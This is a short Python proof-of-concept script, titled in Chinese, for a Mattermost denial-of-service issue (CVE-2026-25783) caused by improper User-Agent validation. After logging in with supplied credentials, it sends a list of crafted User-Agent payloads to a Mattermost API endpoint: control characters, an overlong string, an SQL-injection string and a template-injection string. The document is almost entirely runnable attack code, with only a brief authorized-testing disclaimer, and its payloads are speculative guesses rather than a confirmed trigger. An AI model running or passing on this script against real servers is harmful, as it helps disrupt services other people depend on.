CVE-2026-25783 Mattermost User-Agent头验证不当导致拒绝服务

#!/usr/bin/env python3 """ CVE-2026-25783 PoC - Mattermost User-Agent Header Validation Issue This PoC demonstrates sending a crafted User-Agent header that may trigger a request panic on vulnerable Mattermost instances. Note: This is for educational and authorized testing purposes only. """ import requests import sys def test_mattermost_panic(target_url, username, password): """ Test for CVE-2026-25783 by sending crafted User-Agent headers """ # Crafted User-Agent payloads that may trigger panic payloads = [ "\x00\x01\x02" * 100, # Null bytes and control characters "A" * 10000, # Excessive length "\"'; DROP TABLE users; --", # SQL injection attempt "{{.}} " * 500, # Template injection "\u0000\u0001" * 200, # Unicode control characters ] # Login to get session login_url = f"{target_url}/api/v4/login" login_data = { "login_id": username, "password": password } try: response = requests.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False token = response.json().get('token') if not token: print("[-] No auth token received") return False print(f"[+] Login successful, token: {token[:20]}...") # Test each payload headers = { "Authorization": f"Bearer {token}", "User-Agent": None # Will be set per payload } for i, payload in enumerate(payloads): headers["User-Agent"] = payload try: # Make any API request with crafted User-Agent test_url = f"{target_url}/api/v4/users/me" resp = requests.get(test_url, headers=headers, timeout=10) print(f"[+] Payload {i+1} sent, status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Payload {i+1} caused error (potential panic): {e}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 poc.py <target_url> <username> <password>") print("Example: python3 poc.py https://mattermost.example.com user pass") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2026-25783 on {target}") test_mattermost_panic(target, user, pwd)